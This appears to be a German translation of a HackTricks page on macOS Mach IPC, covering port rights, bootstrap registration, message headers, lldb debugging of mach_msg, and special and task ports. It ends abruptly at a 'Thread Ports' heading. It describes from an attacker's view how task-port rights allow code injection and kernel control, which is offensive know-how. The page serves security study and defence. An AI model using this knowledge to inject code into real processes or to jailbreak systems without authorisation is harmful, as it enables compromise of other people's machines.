macOS IPC - Inter Process Communication
Reading time: 36 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Mach-Nachrichten über Ports
Grundlegende Informationen
Mach verwendet Aufgaben als die kleinste Einheit zum Teilen von Ressourcen, und jede Aufgabe kann mehrere Threads enthalten. Diese Aufgaben und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet.
Die Kommunikation zwischen Aufgaben erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. Nachrichten werden zwischen Ports übertragen, die eine Art Nachrichtenwarteschlangen sind, die vom Kernel verwaltet werden.
Ein Port ist das grundlegende Element von Mach IPC. Er kann verwendet werden, um Nachrichten zu senden und zu empfangen.
Jeder Prozess hat eine IPC-Tabelle, in der die Mach-Ports des Prozesses gefunden werden können. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).
Ein Prozess kann auch einen Portnamen mit bestimmten Rechten an eine andere Aufgabe senden, und der Kernel wird diesen Eintrag in der IPC-Tabelle der anderen Aufgabe erscheinen lassen.
Portrechte
Portrechte, die definieren, welche Operationen eine Aufgabe ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen Portrechte sind (Definitionen hier):
- Empfangsrecht, das das Empfangen von Nachrichten, die an den Port gesendet werden, erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System nur ein Empfangsrecht für jeden Port geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
- Eine Aufgabe mit dem Empfangsrecht kann Nachrichten empfangen und Sende-Rechte erstellen, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die eigene Aufgabe das Empfangsrecht über ihren Port.
- Wenn der Besitzer des Empfangsrechts stirbt oder es tötet, wird das Sende-Recht nutzlos (toter Name).
- Sende-Recht, das das Senden von Nachrichten an den Port erlaubt.
- Das Sende-Recht kann kloniert werden, sodass eine Aufgabe, die ein Sende-Recht besitzt, das Recht klonen und einer dritten Aufgabe gewähren kann.
- Beachten Sie, dass Portrechte auch über Mach-Nachrichten übertragen werden können.
- Send-once-Recht, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
- Dieses Recht kann nicht kloniert werden, aber es kann verschoben werden.
- Portset-Recht, das ein Portset anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuet eine Nachricht von einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie
select
/poll
/epoll
/kqueue
in Unix. - Toter Name, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
Aufgaben können SEND-Rechte an andere übertragen, die es ihnen ermöglichen, Nachrichten zurückzusenden. SEND-Rechte können auch geklont werden, sodass eine Aufgabe das Recht duplizieren und einer dritten Aufgabe geben kann. Dies, kombiniert mit einem Zwischenprozess, der als Bootstrap-Server bekannt ist, ermöglicht eine effektive Kommunikation zwischen Aufgaben.
Datei-Ports
Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen fileport
aus einem gegebenen FD mit fileport_makeport
zu erstellen und einen FD aus einem fileport mit fileport_makefd
zu erstellen.
Eine Kommunikation herstellen
Wie bereits erwähnt, ist es möglich, Rechte über Mach-Nachrichten zu senden, jedoch kann man kein Recht senden, ohne bereits ein Recht zu haben, um eine Mach-Nachricht zu senden. Wie wird also die erste Kommunikation hergestellt?
Dafür ist der Bootstrap-Server (launchd in mac) beteiligt, da jeder ein SEND-Recht zum Bootstrap-Server erhalten kann, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:
- Aufgabe A erstellt einen neuen Port und erhält das EMPFANGSRECHT dafür.
- Aufgabe A, die Inhaberin des Empfangsrechts, generiert ein SEND-Recht für den Port.
- Aufgabe A stellt eine Verbindung mit dem Bootstrap-Server her und sendet ihm das SEND-Recht für den Port, den sie zu Beginn generiert hat.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
- Aufgabe A sendet eine
bootstrap_register
-Nachricht an den Bootstrap-Server, um den gegebenen Port mit einem Namen wiecom.apple.taska
zu verknüpfen. - Aufgabe B interagiert mit dem Bootstrap-Server, um eine Bootstrap-Suche nach dem Dienstnamen (
bootstrap_lookup
) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Aufgabe B ihm ein SEND-Recht zu einem Port, den sie zuvor erstellt hat, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, dupliziert der Server das SEND-Recht, das von Aufgabe A empfangen wurde, und überträgt es an Aufgabe B.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
- Mit diesem SEND-Recht ist Aufgabe B in der Lage, eine Nachricht an Aufgabe A zu senden.
- Für eine bidirektionale Kommunikation generiert normalerweise Aufgabe B einen neuen Port mit einem EMPFANGS-Recht und einem SEND-Recht und gibt das SEND-Recht an Aufgabe A, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
Der Bootstrap-Server kann den Dienstnamen, der von einer Aufgabe beansprucht wird, nicht authentifizieren. Das bedeutet, dass eine Aufgabe potenziell jede Systemaufgabe impersonieren könnte, indem sie fälschlicherweise einen Autorisierungsdienstnamen beansprucht und dann jede Anfrage genehmigt.
Dann speichert Apple die Namen der systemeigenen Dienste in sicheren Konfigurationsdateien, die sich in SIP-geschützten Verzeichnissen befinden: /System/Library/LaunchDaemons
und /System/Library/LaunchAgents
. Neben jedem Dienstnamen wird auch die assoziierte Binärdatei gespeichert. Der Bootstrap-Server erstellt und hält ein EMPFANGSRECHT für jeden dieser Dienstnamen.
Für diese vordefinierten Dienste unterscheidet sich der Suchprozess leicht. Wenn ein Dienstname gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
- Aufgabe B initiiert eine Bootstrap-Suche nach einem Dienstnamen.
- launchd überprüft, ob die Aufgabe läuft, und wenn nicht, startet sie sie.
- Aufgabe A (der Dienst) führt eine Bootstrap-Check-in-Operation (
bootstrap_check_in()
) durch. Hier erstellt der Bootstrap-Server ein SEND-Recht, behält es und überträgt das EMPFANGSRECHT an Aufgabe A. - launchd dupliziert das SEND-Recht und sendet es an Aufgabe B.
- Aufgabe B generiert einen neuen Port mit einem EMPFANGS-Recht und einem SEND-Recht und gibt das SEND-Recht an Aufgabe A (den Dienst) weiter, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
Dieser Prozess gilt jedoch nur für vordefinierte Systemaufgaben. Nicht-Systemaufgaben funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
caution
Daher sollte launchd niemals abstürzen, sonst stürzt das gesamte System ab.
Eine Mach-Nachricht
Weitere Informationen hier finden
Die Funktion mach_msg
, die im Wesentlichen ein Systemaufruf ist, wird verwendet, um Mach-Nachrichten zu senden und zu empfangen. Die Funktion erfordert, dass die zu sendende Nachricht als erstes Argument übergeben wird. Diese Nachricht muss mit einer mach_msg_header_t
-Struktur beginnen, gefolgt vom eigentlichen Nachrichteninhalt. Die Struktur ist wie folgt definiert:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
Prozesse, die über ein receive right verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den Sendenden ein send oder ein send-once right gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Das anfängliche Feld msgh_bits
ist ein Bitmap:
- Das erste Bit (am signifikantesten) wird verwendet, um anzuzeigen, dass eine Nachricht komplex ist (mehr dazu weiter unten)
- Das 3. und 4. Bit werden vom Kernel verwendet
- Die 5 am wenigsten signifikanten Bits des 2. Bytes können für voucher verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
- Die 5 am wenigsten signifikanten Bits des 3. Bytes können für local port verwendet werden
- Die 5 am wenigsten signifikanten Bits des 4. Bytes können für remote port verwendet werden
Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können, sind (aus mach/message.h):
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
Zum Beispiel kann MACH_MSG_TYPE_MAKE_SEND_ONCE
verwendet werden, um anzuzeigen, dass ein send-once Recht für diesen Port abgeleitet und übertragen werden sollte. Es kann auch MACH_PORT_NULL
angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
Um eine einfache zweiseitige Kommunikation zu erreichen, kann ein Prozess einen mach port im mach Nachrichtenkopf angeben, der als Antwortport (msgh_local_port
) bezeichnet wird, wo der Empfänger der Nachricht eine Antwort auf diese Nachricht senden kann.
tip
Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (xpc_connection_send_message_with_reply
und xpc_connection_send_message_with_reply_sync
). Aber normalerweise werden verschiedene Ports erstellt, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
Die anderen Felder des Nachrichtenkopfs sind:
msgh_size
: die Größe des gesamten Pakets.msgh_remote_port
: der Port, an den diese Nachricht gesendet wird.msgh_voucher_port
: mach vouchers.msgh_id
: die ID dieser Nachricht, die vom Empfänger interpretiert wird.
caution
Beachten Sie, dass mach-Nachrichten über einen mach port
gesendet werden, der einen einzelnen Empfänger und einen mehreren Sender Kommunikationskanal darstellt, der im mach-Kernel integriert ist. Mehrere Prozesse können Nachrichten an einen mach-Port senden, aber zu jedem Zeitpunkt kann nur ein einzelner Prozess von ihm lesen.
Nachrichten werden dann durch den mach_msg_header_t
-Header gebildet, gefolgt vom Inhalt und dem Trailer (falls vorhanden), und sie können die Erlaubnis zur Antwort darauf gewähren. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.
Ein Trailer ist Informationen, die vom Kernel zur Nachricht hinzugefügt werden (kann nicht vom Benutzer festgelegt werden), die beim Empfang der Nachricht mit den Flags MACH_RCV_TRAILER_<trailer_opt>
angefordert werden können (es gibt verschiedene Informationen, die angefordert werden können).
Komplexe Nachrichten
Es gibt jedoch auch andere, komplexere Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das bedeutendste Bit des Headers msgh_bits
gesetzt.
Die möglichen Deskriptoren, die übergeben werden können, sind in mach/message.h
definiert:
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.
caution
Der Kernel kopiert die Deskriptoren von einer Aufgabe zur anderen, erstellt jedoch zuerst eine Kopie im Kernel-Speicher. Diese Technik, bekannt als "Feng Shui", wurde in mehreren Exploits missbraucht, um den Kernel dazu zu bringen, Daten in seinem Speicher zu kopieren, wodurch ein Prozess Deskriptoren an sich selbst sendet. Dann kann der Prozess die Nachrichten empfangen (der Kernel wird sie freigeben).
Es ist auch möglich, Portrechte an einen verwundbaren Prozess zu senden, und die Portrechte werden einfach im Prozess angezeigt (auch wenn er sie nicht verwaltet).
Mac Ports APIs
Beachten Sie, dass Ports mit dem Aufgabennamespace verknüpft sind. Um einen Port zu erstellen oder zu suchen, wird auch der Aufgabennamespace abgefragt (mehr in mach/mach_port.h
):
mach_port_allocate
|mach_port_construct
: Erstellen Sie einen Port.mach_port_allocate
kann auch ein Port-Set erstellen: Empfangsrecht über eine Gruppe von Ports. Jedes Mal, wenn eine Nachricht empfangen wird, wird der Port angegeben, von dem sie stammt.mach_port_allocate_name
: Ändern Sie den Namen des Ports (standardmäßig 32-Bit-Ganzzahl)mach_port_names
: Holen Sie sich Portnamen von einem Zielmach_port_type
: Holen Sie sich die Rechte einer Aufgabe über einen Namenmach_port_rename
: Benennen Sie einen Port um (wie dup2 für FDs)mach_port_allocate
: Weisen Sie einen neuen RECEIVE, PORT_SET oder DEAD_NAME zumach_port_insert_right
: Erstellen Sie ein neues Recht in einem Port, in dem Sie RECEIVE habenmach_port_...
mach_msg
|mach_msg_overwrite
: Funktionen, die verwendet werden, um Mach-Nachrichten zu senden und zu empfangen. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
Debug mach_msg
Da die Funktionen mach_msg
und mach_msg_overwrite
verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie libSystem.B
laden wird, die diese Funktion verwendet.
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Prozess 71019 gestartet: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Prozess 71019 gestoppt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Ziel 0: (SandboxedShellApp) gestoppt.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Um die Argumente von mach_msg
zu erhalten, überprüfen Sie die Register. Dies sind die Argumente (aus mach/message.h):
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
Holen Sie die Werte aus den Registrierungen:
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
Überprüfen Sie den Nachrichtenkopf, indem Sie das erste Argument überprüfen:
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
Dieser Typ von mach_msg_bits_t
ist sehr verbreitet, um eine Antwort zu ermöglichen.
Ports auflisten
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
Der Name ist der Standardname, der dem Port zugewiesen wird (überprüfen Sie, wie er in den ersten 3 Bytes zunimmt). Das ipc-object
ist der obfuskierte eindeutige Identifikator des Ports.
Beachten Sie auch, wie die Ports mit nur send
Rechten den Besitzer identifizieren (Portname + pid).
Beachten Sie auch die Verwendung von +
, um andere Aufgaben, die mit demselben Port verbunden sind, anzuzeigen.
Es ist auch möglich, procesxp zu verwenden, um auch die registrierten Dienstnamen zu sehen (mit deaktiviertem SIP aufgrund des Bedarfs an com.apple.system-task-port
):
procesp 1 ports
Sie können dieses Tool auf iOS installieren, indem Sie es von http://newosxbook.com/tools/binpack64-256.tar.gz herunterladen.
Codebeispiel
Beachten Sie, wie der Sender einen Port zuweist, ein Senderecht für den Namen org.darlinghq.example
erstellt und es an den Bootstrap-Server sendet, während der Sender um das Senderecht dieses Namens bittet und es verwendet, um eine Nachricht zu senden.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
Privilegierte Ports
Es gibt einige spezielle Ports, die es ermöglichen, bestimmte sensible Aktionen durchzuführen oder auf bestimmte sensible Daten zuzugreifen, falls eine Aufgabe die SEND-Berechtigungen über sie hat. Dies macht diese Ports aus der Sicht eines Angreifers sehr interessant, nicht nur wegen der Möglichkeiten, sondern auch weil es möglich ist, SEND-Berechtigungen über Aufgaben hinweg zu teilen.
Host-Spezialports
Diese Ports werden durch eine Nummer dargestellt.
SEND-Rechte können durch den Aufruf von host_get_special_port
und RECEIVE-Rechte durch den Aufruf von host_set_special_port
erlangt werden. Beide Aufrufe erfordern jedoch den host_priv
-Port, auf den nur der Root-Zugriff hat. Darüber hinaus konnte der Root in der Vergangenheit host_set_special_port
aufrufen und beliebige Ports übernehmen, was es beispielsweise ermöglichte, Codesignaturen zu umgehen, indem HOST_KEXTD_PORT
übernommen wurde (SIP verhindert dies jetzt).
Diese sind in 2 Gruppen unterteilt: Die ersten 7 Ports gehören dem Kernel, wobei der 1 HOST_PORT
, der 2 HOST_PRIV_PORT
, der 3 HOST_IO_MASTER_PORT
und der 7 HOST_MAX_SPECIAL_KERNEL_PORT
ist.
Die Ports, die ab der Nummer 8 beginnen, sind im Besitz von System-Daemons und können in host_special_ports.h
gefunden werden.
- Host-Port: Wenn ein Prozess SEND-Berechtigung über diesen Port hat, kann er Informationen über das System abrufen, indem er seine Routinen aufruft wie:
host_processor_info
: Prozessorinformationen abrufenhost_info
: Hostinformationen abrufenhost_virtual_physical_table_info
: Virtuelle/Physische Seitentabelle (erfordert MACH_VMDEBUG)host_statistics
: Hoststatistiken abrufenmach_memory_info
: Kernel-Speicherlayout abrufen- Host Priv-Port: Ein Prozess mit SEND-Recht über diesen Port kann privilegierte Aktionen durchführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der Prozess muss Root sein, um diese Berechtigung zu erhalten.
- Darüber hinaus ist es erforderlich, um die
kext_request
-API aufzurufen, andere Berechtigungencom.apple.private.kext*
zu haben, die nur Apple-Binärdateien gewährt werden. - Andere Routinen, die aufgerufen werden können, sind:
host_get_boot_info
:machine_boot_info()
abrufenhost_priv_statistics
: Privilegierte Statistiken abrufenvm_allocate_cpm
: Kontinuierlichen physischen Speicher zuweisenhost_processors
: Senderecht an Host-Prozessorenmach_vm_wire
: Speicher resident machen- Da Root auf diese Berechtigung zugreifen kann, könnte er
host_set_[special/exception]_port[s]
aufrufen, um Host-Spezial- oder Ausnahmeports zu übernehmen.
Es ist möglich, alle Host-Spezialports zu sehen, indem man Folgendes ausführt:
procexp all ports | grep "HSP"
Task Special Ports
Dies sind Ports, die für bekannte Dienste reserviert sind. Es ist möglich, sie mit task_[get/set]_special_port
abzurufen/zu setzen. Sie sind in task_special_ports.h
zu finden:
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
- TASK_KERNEL_PORT[task-self send right]: Der Port, der zur Steuerung dieser Aufgabe verwendet wird. Wird verwendet, um Nachrichten zu senden, die die Aufgabe betreffen. Dies ist der Port, der von mach_task_self (siehe Task Ports unten) zurückgegeben wird.
- TASK_BOOTSTRAP_PORT[bootstrap send right]: Der Bootstrap-Port der Aufgabe. Wird verwendet, um Nachrichten zu senden, die die Rückgabe anderer Systemdienstports anfordern.
- TASK_HOST_NAME_PORT[host-self send right]: Der Port, der verwendet wird, um Informationen über den enthaltenen Host anzufordern. Dies ist der Port, der von mach_host_self zurückgegeben wird.
- TASK_WIRED_LEDGER_PORT[ledger send right]: Der Port, der die Quelle benennt, aus der diese Aufgabe ihren festen Kernel-Speicher bezieht.
- TASK_PAGED_LEDGER_PORT[ledger send right]: Der Port, der die Quelle benennt, aus der diese Aufgabe ihren verwalteten Standardspeicher bezieht.
Task Ports
Ursprünglich hatte Mach keine "Prozesse", sondern "Aufgaben", die eher als Container von Threads betrachtet wurden. Als Mach mit BSD zusammengeführt wurde, wurde jede Aufgabe mit einem BSD-Prozess korreliert. Daher hat jeder BSD-Prozess die Details, die er benötigt, um ein Prozess zu sein, und jede Mach-Aufgabe hat auch ihre inneren Abläufe (außer für die nicht existierende pid 0, die die kernel_task
ist).
Es gibt zwei sehr interessante Funktionen, die damit zusammenhängen:
task_for_pid(target_task_port, pid, &task_port_of_pid)
: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem durch diepid
angegebenen verbunden ist, und gib es an den angegebenentarget_task_port
weiter (der normalerweise die aufrufende Aufgabe ist, diemach_task_self()
verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).pid_for_task(task, &pid)
: Gegeben ein SEND-Recht zu einer Aufgabe, finde heraus, zu welcher PID diese Aufgabe gehört.
Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein SEND
-Recht zu sich selbst, indem sie mach_task_self()
aufruft (was den task_self_trap
(28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
task_threads
: Erhalte SEND-Recht über alle Task-Ports der Threads der Aufgabetask_info
: Erhalte Informationen über eine Aufgabetask_suspend/resume
: Unterbreche oder setze eine Aufgabe forttask_[get/set]_special_port
thread_create
: Erstelle einen Threadtask_[get/set]_state
: Steuere den Zustand der Aufgabe- und mehr kann in mach/task.h gefunden werden
caution
Beachte, dass es mit einem SEND-Recht über einen Task-Port einer anderen Aufgabe möglich ist, solche Aktionen über eine andere Aufgabe auszuführen.
Darüber hinaus ist der task_port auch der vm_map
-Port, der es ermöglicht, Speicher innerhalb einer Aufgabe zu lesen und zu manipulieren mit Funktionen wie vm_read()
und vm_write()
. Das bedeutet im Grunde, dass eine Aufgabe mit SEND-Rechten über den task_port einer anderen Aufgabe in der Lage sein wird, Code in diese Aufgabe zu injizieren.
Denke daran, dass, weil der Kernel auch eine Aufgabe ist, wenn es jemandem gelingt, SEND-Berechtigungen über die kernel_task
zu erhalten, er in der Lage sein wird, den Kernel alles ausführen zu lassen (Jailbreaks).
- Rufe
mach_task_self()
auf, um den Namen für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur vererbt überexec()
; eine neue Aufgabe, die mitfork()
erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nachexec()
in einem suid-Binary). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den "port swap dance" während einesfork()
durchzuführen. - Dies sind die Einschränkungen für den Zugriff auf den Port (aus
macos_task_policy
aus dem BinaryAppleMobileFileIntegrity
): - Wenn die App die
com.apple.security.get-task-allow
-Berechtigung hat, können Prozesse vom gleichen Benutzer auf den Task-Port zugreifen (häufig von Xcode zum Debuggen hinzugefügt). Der Notarisierungs-Prozess erlaubt dies nicht für Produktionsversionen. - Apps mit der
com.apple.system-task-ports
-Berechtigung können den Task-Port für jeden Prozess erhalten, außer für den Kernel. In älteren Versionen wurde estask_for_pid-allow
genannt. Dies wird nur Apple-Anwendungen gewährt. - Root kann auf Task-Ports von Anwendungen nicht zugreifen, die mit einer hardened Runtime (und nicht von Apple) kompiliert wurden.
Der Task-Name-Port: Eine unprivilegierte Version des Task-Ports. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was anscheinend darüber verfügbar ist, ist task_info()
.
Thread Ports
